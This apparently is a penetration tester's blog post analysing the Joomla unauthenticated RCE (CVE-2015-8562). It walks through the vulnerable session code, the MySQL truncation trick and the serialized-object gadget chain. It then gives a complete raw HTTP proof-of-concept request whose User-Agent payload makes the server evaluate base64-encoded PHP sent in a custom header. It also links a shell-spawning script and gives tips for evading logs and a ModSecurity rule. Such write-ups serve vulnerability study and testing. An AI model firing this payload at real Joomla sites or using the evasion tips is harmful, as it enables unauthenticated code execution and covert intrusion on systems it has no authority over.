Analysis of the Joomla RCE (CVE-2015-8562)

Back to Posts

Analysis of the Joomla RCE (CVE-2015-8562)

Recently, during a penetration test I have found a vulnerable installation of the Joomla CMS. Yes, I already know that this vulnerability is quite old and that there is a ready to use Metasploit module but here is the catch: the module and other scripts available on internet weren’t working against my environment, furthermore, during the last year a lot of new vulnerabilities rely on the PHP Object Injection and Serialize/Unserialize.

That’s the reason why I thought it was a good idea spending some time to better understand this vulnerability by myself and it was a very interesting journey since chaining more than one bug together was a requisite in order to achieve the RCE.

So, here we go, the analysis of the Joomla HTTP Header Unauthenticated Remote Code Execution aka CVE-2015-8562 and a new working payload to automatize everything.

Target:

Joomla 1.5.0 through 3.4.5 and PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13

Info Gathering:

Just to be sure that we are targeting the right version of Joomla & PHP, let’s grab some info:

Default Joomla Installations comes with an admin control panel located in the administrator folder of the installation path:
http://example.com/administrator
http://example.com/joomla/administrator

To retrieve the Joomla version we can request the following files from the base installation path:

  • /language/en-GB/en-GB.xml
  • /administrator/manifests/files/joomla.xml
  • and so on… we can use the Metasploit scanner auxiliary/scanner/http/joomla_version

While for the PHP version we can use the curl http://example.com/ -v -X HEAD the result depend on the web server configuration, is some cases we will get the PHP version otherwise we will need to go “blind”.

Unsanitized User-Agent’s value

When Joomla creates a new session, it takes the unsanitized User-Agent’s value and store it in the session ‘session.client.browser’ which later will be saved in the database.

// File: libraries/vendor/joomla/session/Joomla/Session/Session.php

// Check for clients browser
if (in_array('fix_browser', $this->security) && isset($_SERVER['HTTP_USER_AGENT'])){
    $browser = $this->get('session.client.browser');

    if ($browser === null){
        $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
    }
    elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser) {
        // @todo remove code:                    $this->_state   =       'error';
        // @todo remove code:                    return false;
    }
}

This is what happens next:

  1. A session is started by session_start
  2. The read handler is called, it returns the session data
  3. session_decode is used to decode the current session data.
  4. The $_SESSION variable is filled (here we can modify the $_SESSION array)
  5. The session is closed by session_write_close (or termination of the PHP file)
  6. The session variable is encoded by session_encode
  7. The write handler is called to save the session data

Joomla’s Sessions

Joomla use the function session_set_save_handler (it rewrites the read method, the return value is deserialized and filled in $ _SESSION) to override the PHP session handler and, in this case, to save the session into the database.

Here an example of the Joomla’s Session:

`joomla_session` VALUES ('02di8ph9l9on7aa905khshtu57',0,1,'1505489800',
'__default|a:8:{
	s:15:"session.counter";		        i:1;
	s:19:"session.timer.start";		i:1505489800;
	s:18:"session.timer.last";		i:1505489800;
	s:17:"session.timer.now";		i:1505489800;
	s:22:"session.client.browser";	        s:11:"curl/7.55.1";
	s:8:"registry";					
		O:9:"JRegistry":1:{
						s:7:"\0\0\0data";
						O:8:"stdClass":0:{}
		}
	s:4:"user";O:5:"JUser":24:{
		s:9:"\0\0\0isRoot";	        b:0;
		s:2:"id";			i:0;
		s:4:"name";			N;
		s:8:"username";		        N;
		s:5:"email";			N;
		s:8:"password";		        N;
		s:14:"password_clear";	        s:0:"";
		s:5:"block";			N;
		s:9:"sendEmail";		i:0;
		s:12:"registerDate";		N;
		s:13:"lastvisitDate";		N;
		s:10:"activation";		N;
		s:6:"params";			N;
		s:6:"groups";					
			a:1:{
						i:0;
						s:2:"13";
			}
		s:5:"guest";			i:1;
		s:13:"lastResetTime";		N;
		s:10:"resetCount";		N;
		s:10:"\0\0\0_params";	
			O:9:"JRegistry":1:{
						s:7:"\0\0\0data";
						O:8:"stdClass":0:{}
			}
		s:14:"\0\0\0_authGroups";
			a:1:{
						i:0;
						s:1:"1";
			}
		s:14:"\0\0\0_authLevels";
			a:2:{
						i:0;
						i:1;
						i:1;
						i:1;
			}
		s:15:"\0\0\0_authActions";	N;
		s:12:"\0\0\0_errorMsg";	        N;
		s:10:"\0\0\0_errors";	        a:0:{}
		s:3:"aid";			i:0;
	}
	s:13:"session.token";			s:32:"ead9d16586b72de83eab1761e20436e4";
}'
,0,'');

PHP session_encode is different than the usual serialize function, for example, given the array “a” => 5, “b” => 6, the standard function serialize() will return something like this: a:2:{s:1:”a”;i:5;s:1:”b”;i:6;} while session_encode will return a|i:5;b|i:6;

The session_encode() differ in the way it’s declaring indexes for the $_SESSION array, it will allow attackers to store arbitrary session data inside the database. This could be done closing the current serialized object and starting a new one using a payload similar to }__test|a:100:{serialized data.
The problem is that it leaves an extra pipe character which breaks the resulting serialized object. We need to get rid of all the data located after the injected payload.

The Joomla’s Session Handler

This is the Joomla’s handler that writes the data:

public function write($id, $data)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();
    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
    try    {
        $query = $db->getQuery(true)
            ->update($db->quoteName('#__session'))
            ->set($db->quoteName('data') . ' = ' . $db->quote($data))
            ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      // Try to update the session data in the database table.
      $db->setQuery($query);

      if (!$db->;execute())      {
            return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
         Either the data changed, or the data was identical.
         In either case we are done.
      */
      return true;
    }
    catch (Exception $e)    {
        return false;
    }
}

The following line of code: $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); will prefix protected variables with “\0\0\0”. Ex. O:7:"MyClass":1:{s:8:"\0\0\0value";i:10;}

MySQL

MySQL cannot save null bytes, that’s why the Joomla handler converts them into escaped version of zeros. This is extremely handy because HTTP headers do not allow the null bytes needed to terminate the session and append our data. However, the custom Joomla handler uses MySQL with utf8_general_ci. Whenever it encounters an unsupported 4-byte UTF-8 symbol, it just terminates the data as following: user_agent|s:10:"test|i:5;ýýý";a|i:1;b|i:2; it will become: user_agent|s:10:"test|i:5; (we can use many of them, ýýý, 𝌆, and so on)

We can now create new arbitrary serialized objects and add them to the $_SESSION variable (Object Injection attack). We will be able to execute them with a PHP magic methods for example (__wakeup or __destruct), that will call the init function of our SimplePie object (the PoC in the wild uses the JDatabaseDriverMysqli class).

Chaining bugs

  1. Unsanitized User-Agent’s value is saved in the session data
  2. Joomla session handler save it into the database
  3. A MySQL truncation bug is used to add data to the session
  4. Added objects will be executed by the disconnect handler of the JDatabaseDriverMysqli class

Raw PoC

GET / HTTP/1.1
Host: 192.168.0.1
USER-AGENT: ZWQXJ}__ZWQXJZWQXJ|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_ZWQXJ']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Payload:

s:71:"eval(base64_decode($_SERVER['HTTP_ZWQXJ']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý

It executes base64 encoded PHP commands sent to the HTTP_ZWQXJ header. (Do not forget to add the session cookie that was set during the first request)

Wrapping Up

Here my python script spawning a beautiful shell against the target machine.

Hosted on GitHub: https://github.com/VoidSec/Joomla_CVE-2015-8562

Regarding the issue with the Metasploit framework module, it didn’t work because it does not regenerate the session cookie between different requests, in that way it lose the meterpreter reverse connection.

Tips

Keep also in mind that Joomla will use the user-agent and the x-forwarded-for method to write content in the session. The x-forwarded-for method is not logged by default by the apache.

Plus, OWASP ModSecurity against PHP serialized object injection, appears to check only for this rule:

SecRule ARGS|ARGS_NAMES|REQUEST_URI|REQUEST_HEADERS:User-Agent|REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/ "O:\d+:\"" \
    "id:6000049,phase:2,t:none,t:urlDecodeUni,\
        block,tag:'PHP/OBJECT',msg:'PHP serialized object'"

Share this post

Back to Posts